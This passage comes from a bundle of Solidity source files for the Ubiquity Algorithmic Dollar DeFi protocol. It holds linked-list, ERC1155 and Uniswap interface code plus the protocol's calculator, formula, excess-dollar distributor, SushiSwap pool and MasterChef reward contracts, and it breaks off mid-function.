_node new entry to push to the head\n * @return bool true if success, false otherwise\n */\n function pushFront(List storage self, uint256 _node) internal returns (bool) {\n return _push(self, _node, _NEXT);\n }\n\n /**\n * @dev Pushes an entry to the tail of the linked list\n * @param self stored linked list from contract\n * @param _node new entry to push to the tail\n * @return bool true if success, false otherwise\n */\n function pushBack(List storage self, uint256 _node) internal returns (bool) {\n return _push(self, _node, _PREV);\n }\n\n /**\n * @dev Pops the first entry from the head of the linked list\n * @param self stored linked list from contract\n * @return uint256 the removed node\n */\n function popFront(List storage self) internal returns (uint256) {\n return _pop(self, _NEXT);\n }\n\n /**\n * @dev Pops the first entry from the tail of the linked list\n * @param self stored linked list from contract\n * @return uint256 the removed node\n */\n function popBack(List storage self) internal returns (uint256) {\n return _pop(self, _PREV);\n }\n\n /**\n * @dev Pushes an entry to the head of the linked list\n * @param self stored linked list from contract\n * @param _node new entry to push to the head\n * @param _direction push to the head (_NEXT) or tail (_PREV)\n * @return bool true if success, false otherwise\n */\n function _push(List storage self, uint256 _node, bool _direction) private returns (bool) {\n return _insert(self, _HEAD, _node, _direction);\n }\n\n /**\n * @dev Pops the first entry from the linked list\n * @param self stored linked list from contract\n * @param _direction pop from the head (_NEXT) or the tail (_PREV)\n * @return uint256 the removed node\n */\n function _pop(List storage self, bool _direction) private returns (uint256) {\n uint256 adj;\n (, adj) = getAdjacent(self, _HEAD, _direction);\n return remove(self, adj);\n }\n\n /**\n * @dev Insert node `_new` beside existing node `_node` in direction `_direction`.\n * @param self stored linked list from contract\n * @param _node existing node\n * @param _new new node to insert\n * @param _direction direction to insert node in\n * @return bool true if success, false otherwise\n */\n function _insert(List storage self, uint256 _node, uint256 _new, bool _direction) private returns (bool) {\n if (!nodeExists(self, _new) && nodeExists(self, _node)) {\n uint256 c = self.list[_node][_direction];\n _createLink(self, _node, _new, _direction);\n _createLink(self, _new, c, _direction);\n\n self.size += 1; // NOT: SafeMath library should be used here to increment.\n\n return true;\n }\n\n return false;\n }\n\n /**\n * @dev Creates a bidirectional link between two nodes on direction `_direction`\n * @param self stored linked list from contract\n * @param _node existing node\n * @param _link node to link to in the _direction\n * @param _direction direction to insert node in\n */\n function _createLink(List storage self, uint256 _node, uint256 _link, bool _direction) private {\n self.list[_link][!_direction] = _node;\n self.list[_node][_direction] = _link;\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/IERC1155.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n )\n external\n returns(bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n )\n external\n returns(bytes4);\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155.sol\";\n\n/**\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155MetadataURI is IERC1155 {\n /**\n * @dev Returns the URI for token type `id`.\n *\n * If the `\\{id\\}` substring is present in the URI, it must be replaced by\n * clients with the actual token type ID.\n */\n function uri(uint256 id) external view returns (string memory);\n}\n" - }, - "contracts/UARForDollarsCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./interfaces/IUARForDollarsCalculator.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\nimport \"./DebtCoupon.sol\";\n\n/// @title Uses the following formula: ((1/(1-R)^2) - 1)\ncontract UARForDollarsCalculator is IUARForDollarsCalculator {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n UbiquityAlgorithmicDollarManager public manager;\n uint256 private _coef = 1 ether;\n\n modifier onlyAdmin() {\n require(\n manager.hasRole(manager.INCENTIVE_MANAGER_ROLE(), msg.sender),\n \"UARCalc: not admin\"\n );\n _;\n }\n\n /// @param _manager the address of the manager/config contract so we can fetch variables\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n /// @notice set the constant for uAR calculation\n /// @param coef new constant for uAR calculation in ETH format\n /// @dev a coef of 1 ether means 1\n function setConstant(uint256 coef) external onlyAdmin {\n _coef = coef;\n }\n\n /// @notice get the constant for uAR calculation\n function getConstant() external view returns (uint256) {\n return _coef;\n }\n\n // dollarsToBurn * (blockheight_debt/blockheight_burn) * _coef\n function getUARAmount(uint256 dollarsToBurn, uint256 blockHeightDebt)\n external\n view\n override\n returns (uint256)\n {\n require(\n DebtCoupon(manager.debtCouponAddress()).getTotalOutstandingDebt() <\n IERC20(manager.dollarTokenAddress()).totalSupply(),\n \"uAR to Dollar: DEBT_TOO_HIGH\"\n );\n bytes16 coef = _coef.fromUInt().div((uint256(1 ether)).fromUInt());\n bytes16 curBlock = uint256(block.number).fromUInt();\n bytes16 multiplier = blockHeightDebt.fromUInt().div(curBlock);\n // x^a = e^(a*lnx(x)) so multiplier^(_coef) = e^(_coef*lnx(multiplier))\n bytes16 op = (coef.mul(multiplier.ln())).exp();\n uint256 res = dollarsToBurn.fromUInt().mul(op).toUInt();\n return res;\n }\n}\n" - }, - "contracts/UbiquityFormulas.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./libs/ABDKMathQuad.sol\";\n\ncontract UbiquityFormulas {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n\n /// @dev formula duration multiply\n /// @param _uLP , amount of LP tokens\n /// @param _weeks , mimimun duration of staking period\n /// @param _multiplier , bonding discount multiplier = 0.0001\n /// @return _shares , amount of shares\n /// @notice _shares = (1 + _multiplier * _weeks^3/2) * _uLP\n // D32 = D^3/2\n // S = m * D32 * A + A\n function durationMultiply(\n uint256 _uLP,\n uint256 _weeks,\n uint256 _multiplier\n ) public pure returns (uint256 _shares) {\n bytes16 unit = uint256(1 ether).fromUInt();\n bytes16 d = _weeks.fromUInt();\n bytes16 d32 = (d.mul(d).mul(d)).sqrt();\n bytes16 m = _multiplier.fromUInt().div(unit); // 0.0001\n bytes16 a = _uLP.fromUInt();\n\n _shares = m.mul(d32).mul(a).add(a).toUInt();\n }\n\n /// @dev formula bonding\n /// @param _shares , amount of shares\n /// @param _currentShareValue , current share value\n /// @param _targetPrice , target uAD price\n /// @return _uBOND , amount of bonding shares\n /// @notice UBOND = _shares / _currentShareValue * _targetPrice\n // newShares = A / V * T\n function bonding(\n uint256 _shares,\n uint256 _currentShareValue,\n uint256 _targetPrice\n ) public pure returns (uint256 _uBOND) {\n bytes16 a = _shares.fromUInt();\n bytes16 v = _currentShareValue.fromUInt();\n bytes16 t = _targetPrice.fromUInt();\n\n _uBOND = a.div(v).mul(t).toUInt();\n }\n\n /// @dev formula redeem bonds\n /// @param _uBOND , amount of bonding shares\n /// @param _currentShareValue , current share value\n /// @param _targetPrice , target uAD price\n /// @return _uLP , amount of LP tokens\n /// @notice _uLP = _uBOND * _currentShareValue / _targetPrice\n // _uLP = A * V / T\n function redeemBonds(\n uint256 _uBOND,\n uint256 _currentShareValue,\n uint256 _targetPrice\n ) public pure returns (uint256 _uLP) {\n bytes16 a = _uBOND.fromUInt();\n bytes16 v = _currentShareValue.fromUInt();\n bytes16 t = _targetPrice.fromUInt();\n\n _uLP = a.mul(v).div(t).toUInt();\n }\n\n /// @dev formula bond price\n /// @param _totalULP , total LP tokens\n /// @param _totalUBOND , total bond shares\n /// @param _targetPrice , target uAD price\n /// @return _priceUBOND , bond share price\n /// @notice\n // IF _totalUBOND = 0 priceBOND = TARGET_PRICE\n // ELSE priceBOND = totalLP / totalShares * TARGET_PRICE\n // R = T == 0 ? 1 : LP / S\n // P = R * T\n function bondPrice(\n uint256 _totalULP,\n uint256 _totalUBOND,\n uint256 _targetPrice\n ) public pure returns (uint256 _priceUBOND) {\n bytes16 lp = _totalULP.fromUInt();\n bytes16 s = _totalUBOND.fromUInt();\n bytes16 r = _totalUBOND == 0 ? uint256(1).fromUInt() : lp.div(s);\n bytes16 t = _targetPrice.fromUInt();\n\n _priceUBOND = r.mul(t).toUInt();\n }\n\n /// @dev formula ugov multiply\n /// @param _multiplier , initial ugov min multiplier\n /// @param _price , current share price\n /// @return _newMultiplier , new ugov min multiplier\n /// @notice new_multiplier = multiplier * ( 1.05 / (1 + abs( 1 - price ) ) )\n // nM = M * C / A\n // A = ( 1 + abs( 1 - P)))\n // 5 >= multiplier >= 0.2\n function ugovMultiply(uint256 _multiplier, uint256 _price)\n public\n pure\n returns (uint256 _newMultiplier)\n {\n bytes16 m = _multiplier.fromUInt();\n bytes16 p = _price.fromUInt();\n bytes16 c = uint256(105 * 1e16).fromUInt(); // 1.05\n bytes16 u = uint256(1e18).fromUInt(); // 1\n bytes16 a = u.add(u.sub(p).abs()); // 1 + abs( 1 - P )\n\n _newMultiplier = m.mul(c).div(a).toUInt(); // nM = M * C / A\n\n // 5 >= multiplier >= 0.2\n if (_newMultiplier > 5e18 || _newMultiplier < 2e17)\n _newMultiplier = _multiplier;\n }\n}\n" - }, - "contracts/ExcessDollarsDistributor.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./interfaces/IERC20Ubiquity.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\";\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\";\nimport \"./interfaces/IExcessDollarsDistributor.sol\";\nimport \"./interfaces/IMetaPool.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./SushiSwapPool.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\n\n/// @title An excess dollar distributor which sends dollars to treasury,\n/// lp rewards and inflation rewards\ncontract ExcessDollarsDistributor is IExcessDollarsDistributor {\n using SafeERC20 for IERC20Ubiquity;\n using SafeERC20 for IERC20;\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n UbiquityAlgorithmicDollarManager public manager;\n uint256 private immutable _minAmountToDistribute = 100 ether;\n IUniswapV2Router02 private immutable _router =\n IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiV2Router02\n\n /// @param _manager the address of the manager contract so we can fetch variables\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n function distributeDollars() external override {\n //the excess dollars which were sent to this contract by the coupon manager\n uint256 excessDollars =\n IERC20Ubiquity(manager.dollarTokenAddress()).balanceOf(\n address(this)\n );\n if (excessDollars > _minAmountToDistribute) {\n address treasuryAddress = manager.treasuryAddress();\n\n // curve uAD-3CRV liquidity pool\n uint256 tenPercent =\n excessDollars.fromUInt().div(uint256(10).fromUInt()).toUInt();\n\n IERC20Ubiquity(manager.dollarTokenAddress()).safeTransfer(\n treasuryAddress,\n tenPercent\n );\n // convert uAD to uGOV-UAD LP on sushi and burn them\n _governanceBuyBackLPAndBurn(tenPercent);\n // convert remaining uAD to curve LP tokens\n // and transfer the curve LP tokens to the bonding contract\n _convertToCurveLPAndTransfer(\n excessDollars - tenPercent - tenPercent\n );\n }\n }\n\n // swap half amount to uGOV\n function _swapDollarsForGovernance(bytes16 amountIn)\n internal\n returns (uint256)\n {\n address[] memory path = new address[](2);\n path[0] = manager.dollarTokenAddress();\n path[1] = manager.governanceTokenAddress();\n uint256[] memory amounts =\n _router.swapExactTokensForTokens(\n amountIn.toUInt(),\n 0,\n path,\n address(this),\n block.timestamp + 100\n );\n\n return amounts[1];\n }\n\n // buy-back and burn uGOV\n function _governanceBuyBackLPAndBurn(uint256 amount) internal {\n bytes16 amountUAD = (amount.fromUInt()).div(uint256(2).fromUInt());\n\n // we need to approve sushi router\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\n address(_router),\n 0\n );\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\n address(_router),\n amount\n );\n uint256 amountUGOV = _swapDollarsForGovernance(amountUAD);\n\n IERC20Ubiquity(manager.governanceTokenAddress()).safeApprove(\n address(_router),\n 0\n );\n IERC20Ubiquity(manager.governanceTokenAddress()).safeApprove(\n address(_router),\n amountUGOV\n );\n\n // deposit liquidity and transfer to zero address (burn)\n _router.addLiquidity(\n manager.dollarTokenAddress(),\n manager.governanceTokenAddress(),\n amountUAD.toUInt(),\n amountUGOV,\n 0,\n 0,\n address(0),\n block.timestamp + 100\n );\n }\n\n // @dev convert to curve LP\n // @param amount to convert to curve LP by swapping to 3CRV\n // and deposit the 3CRV as liquidity to get uAD-3CRV LP tokens\n // the LP token are sent to the bonding contract\n function _convertToCurveLPAndTransfer(uint256 amount)\n internal\n returns (uint256)\n {\n // we need to approve metaPool\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\n manager.stableSwapMetaPoolAddress(),\n 0\n );\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\n manager.stableSwapMetaPoolAddress(),\n amount\n );\n\n // swap 3CRV=> x uAD\n uint256 amount3CRVReceived =\n IMetaPool(manager.stableSwapMetaPoolAddress()).exchange(\n 0,\n 1,\n amount,\n 0\n );\n\n // approve metapool to transfer our 3CRV\n IERC20(manager.curve3PoolTokenAddress()).safeApprove(\n manager.stableSwapMetaPoolAddress(),\n 0\n );\n IERC20(manager.curve3PoolTokenAddress()).safeApprove(\n manager.stableSwapMetaPoolAddress(),\n amount3CRVReceived\n );\n\n // deposit liquidity\n uint256 res =\n IMetaPool(manager.stableSwapMetaPoolAddress()).add_liquidity(\n [0, amount3CRVReceived],\n 0,\n manager.bondingContractAddress()\n );\n // update TWAP price\n return res;\n }\n}\n" - }, - "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol": { - "content": "pragma solidity >=0.5.0;\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint value);\n event Transfer(address indexed from, address indexed to, uint value);\n\n function name() external pure returns (string memory);\n function symbol() external pure returns (string memory);\n function decimals() external pure returns (uint8);\n function totalSupply() external view returns (uint);\n function balanceOf(address owner) external view returns (uint);\n function allowance(address owner, address spender) external view returns (uint);\n\n function approve(address spender, uint value) external returns (bool);\n function transfer(address to, uint value) external returns (bool);\n function transferFrom(address from, address to, uint value) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n function nonces(address owner) external view returns (uint);\n\n function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;\n\n event Mint(address indexed sender, uint amount0, uint amount1);\n event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);\n event Swap(\n address indexed sender,\n uint amount0In,\n uint amount1In,\n uint amount0Out,\n uint amount1Out,\n address indexed to\n );\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint);\n function factory() external view returns (address);\n function token0() external view returns (address);\n function token1() external view returns (address);\n function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n function price0CumulativeLast() external view returns (uint);\n function price1CumulativeLast() external view returns (uint);\n function kLast() external view returns (uint);\n\n function mint(address to) external returns (uint liquidity);\n function burn(address to) external returns (uint amount0, uint amount1);\n function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;\n function skim(address to) external;\n function sync() external;\n\n function initialize(address, address) external;\n}\n" - }, - "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol": { - "content": "pragma solidity >=0.6.2;\n\nimport './IUniswapV2Router01.sol';\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n" - }, - "contracts/interfaces/IExcessDollarsDistributor.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\";\n\n/// @title A mechanism for distributing excess dollars to relevant places\ninterface IExcessDollarsDistributor {\n function distributeDollars() external;\n}\n" - }, - "contracts/SushiSwapPool.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\";\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\n\ncontract SushiSwapPool {\n IUniswapV2Factory public factory =\n IUniswapV2Factory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac);\n\n UbiquityAlgorithmicDollarManager public manager;\n IUniswapV2Pair public pair;\n\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n require(\n manager.dollarTokenAddress() != address(0),\n \"Dollar address not set\"\n );\n require(\n manager.governanceTokenAddress() != address(0),\n \"uGOV Address not set\"\n );\n // check if pair already exist\n address pool =\n factory.getPair(\n manager.dollarTokenAddress(),\n manager.governanceTokenAddress()\n );\n if (pool == address(0)) {\n pool = factory.createPair(\n manager.dollarTokenAddress(),\n manager.governanceTokenAddress()\n );\n }\n pair = IUniswapV2Pair(pool);\n }\n}\n" - }, - "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol": { - "content": "pragma solidity >=0.6.2;\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n\n function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}\n" - }, - "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol": { - "content": "pragma solidity >=0.5.0;\n\ninterface IUniswapV2Factory {\n event PairCreated(address indexed token0, address indexed token1, address pair, uint);\n\n function feeTo() external view returns (address);\n function feeToSetter() external view returns (address);\n\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n function allPairs(uint) external view returns (address pair);\n function allPairsLength() external view returns (uint);\n\n function createPair(address tokenA, address tokenB) external returns (address pair);\n\n function setFeeTo(address) external;\n function setFeeToSetter(address) external;\n}\n" - }, - "contracts/MasterChef.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"./interfaces/IERC20Ubiquity.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/ITWAPOracle.sol\";\nimport \"./interfaces/IERC1155Ubiquity.sol\";\nimport \"./interfaces/IUbiquityFormulas.sol\";\n\ncontract MasterChef {\n using SafeERC20 for IERC20Ubiquity;\n using SafeERC20 for IERC20;\n // Info of each user.\n struct UserInfo {\n uint256 amount; // How many uAD-3CRV LP tokens the user has provided.\n uint256 rewardDebt; // Reward debt. See explanation below.\n //\n // We do some fancy math here. Basically, any point in time, the amount of uGOVs\n // entitled to a user but is pending to be distributed is:\n //\n // pending reward = (user.amount * pool.accuGOVPerShare) - user.rewardDebt\n //\n // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:\n // 1. The pool's `accuGOVPerShare` (and `lastRewardBlock`) gets updated.\n // 2. User receives the pending reward sent to his/her address.\n // 3. User's `amount` gets updated.\n // 4. User's `rewardDebt` gets updated.\n }\n // Info of each pool.\n struct PoolInfo {\n uint256 lastRewardBlock; // Last block number that uGOVs distribution occurs.\n uint256 accuGOVPerShare; // Accumulated uGOVs per share, times 1e12. See below.\n }\n\n // Ubiquity Manager\n UbiquityAlgorithmicDollarManager public manager;\n\n // uGOV tokens created per block.\n uint256 public uGOVPerBlock = 1e18;\n // Bonus muliplier for early uGOV makers.\n uint256 public uGOVmultiplier = 1e18;\n uint256 public minPriceDiffToUpdateMultiplier = 1000000000000000;\n uint256 public lastPrice = 1 ether;\n // Info of each pool.\n PoolInfo public pool;\n // Info of each user that stakes LP tokens.\n mapping(address => UserInfo) public userInfo;\n\n event Deposit(address indexed user, uint256 amount);\n\n event Withdraw(address indexed user, uint256 amount);\n\n // ----------- Modifiers -----------\n modifier onlyTokenManager() {\n require(\n manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender),\n \"MasterChef: not UBQ manager\"\n );\n _;\n }\n modifier onlyBondingContract() {\n require(\n msg.sender == manager.bondingContractAddress(),\n \"MasterChef: not Bonding Contract\"\n );\n _;\n }\n\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n pool.lastRewardBlock = block.number;\n pool.accuGOVPerShare = 0; // uint256(1e12);\n _updateUGOVMultiplier();\n }\n\n function setUGOVPerBlock(uint256 _uGOVPerBlock) external onlyTokenManager {\n uGOVPerBlock = _uGOVPerBlock;\n }\n\n function setMinPriceDiffToUpdateMultiplier(\n uint256 _minPriceDiffToUpdateMultiplier\n ) external onlyTokenManager {\n minPriceDiffToUpdateMultiplier = _minPriceDiffToUpdateMultiplier;\n }\n\n // Deposit LP tokens to MasterChef for uGOV allocation.\n function deposit(uint256 _amount, address sender)\n external\n onlyBondingContract\n {\n UserInfo storage user = userInfo[sender];\n _updatePool();\n if (user.amount > 0) {\n uint256 pending =\n ((user.amount * pool.accuGOVPerShare) / 1e12) - user.rewardDebt;\n _safeUGOVTransfer(sender, pending);\n }\n /* pool.lpToken.safeTransferFrom(\n address(msg.sender),\n address(this),\n _amount\n ); */\n user.amount = user.amount + _amount;\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\n emit Deposit(sender, _amount);\n }\n\n // Withdraw LP tokens from MasterChef.\n function withdraw(uint256 _amount, address sender)\n external\n onlyBondingContract\n {\n UserInfo storage user = userInfo[sender];\n require(user.amount >= _amount, \"MC: amount too high\");\n _updatePool();\n uint256 pending =\n ((user.amount * pool.accuGOVPerShare) / 1e12) - 